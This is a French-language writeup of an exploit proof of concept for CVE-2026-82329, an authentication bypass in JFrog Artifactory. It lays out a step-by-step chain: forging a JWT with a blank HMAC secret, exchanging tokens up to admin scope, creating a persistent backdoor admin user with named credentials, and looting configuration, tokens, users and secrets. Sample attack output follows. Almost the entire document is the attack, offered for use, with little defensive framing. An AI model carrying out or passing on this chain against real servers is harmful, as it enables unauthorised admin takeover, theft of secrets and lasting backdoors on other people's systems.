
Exploit PoC pour CVE-2026-82329, un contournement d'authentification dans JFrog Artifactory. Démontre la falsification de jetons JWT pour obtenir un accès administrateur et créer un utilisateur backdoor persistant.
CVE-2026-82329 — Contournement d'authentification JFrog Artifactory
La vulnérabilité
Contournement d'authentification critique dans JFrog Artifactory (versions 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19). La faille permet à un attaquant non authentifié de forger un JWT en utilisant un secret HMAC vide (32 octets de 0x20), de générer un jeton admin et de créer un utilisateur backdoor.
Chaîne d'exploitation
Étape Action 1 Forger un JWT avec alg=HS256, kid=SHA256(""), skip_node_registration=true 2 Envoyer le JWT à /access/api/v1/registry/join → obtenir le jeton SERVICE 3 Échanger le jeton SERVICE contre un jeton ADMIN via /access/api/v1/tokens 4 Vérifier l'accès admin via /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version 5 Créer un utilisateur admin persistant via /artifactory/api/security/users/{user} 6 Piller config, jetons, utilisateurs, dépôts, secrets 7 Forger des jetons pour des sujets à haute valeur
Flux d'attaque
BLANK_SECRET = b"\x20" * 32
↓
Forger un JWT (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
Jeton SERVICE (scp=admin)
↓
POST /access/api/v1/tokens
↓
Jeton ADMIN (scp=applied-permissions/admin, aud=*)
↓
Prouver l'admin (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
Utilisateur admin persistant : 0xTerror:Terrorp0c!7777
↓
Pillage : Config, Jetons, Utilisateurs, Dépôts, Secrets
↓
Vérification de pivot : Xray, Mission Control, Distribution, etc.
↓
Forger des jetons pour des sujets à haute valeur
Exemple de sortie du PoC
[+] Étape 1 /registry/join -> HTTP 201 jeton SERVICE (scp=admin)
[+] Étape 2 /access/api/v1/tokens -> HTTP 200 jeton ADMIN (scp=applied-permissions/admin)
[+] Étape 3 preuve d'admin : config=200, tokens=200, version=200
[+] Étape 4 créer l'utilisateur admin '0xTerror' -> HTTP 201
[=] VULNÉRABLE — un attaquant non authentifié a obtenu ADMIN
Utilisateur admin : 0xTerror:Terrorp0c!7777